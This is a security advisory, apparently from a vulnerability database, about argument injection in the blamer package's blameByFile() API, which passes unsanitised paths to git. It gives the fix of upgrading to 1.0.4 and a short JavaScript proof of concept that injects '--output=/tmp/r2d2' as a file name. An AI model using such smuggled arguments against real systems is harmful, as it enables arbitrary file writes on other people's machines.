How to fix?

Upgrade blamer to version 1.0.4 or higher.

Overview

blamer is a tool for get information about author of code from version control system. Supports git and subversion.

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the blameByFile() API. The library does not sanitize for user input or validate the given file path conforms to a specific schema, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.

PoC

import Blamer from "blamer";
const blamer = new Blamer.default("git");

async function main() {
  const file = "--output=/tmp/r2d2";
  const result = await blamer.blameByFile(file);
  console.log("Blame json: %j", result);
}

main();
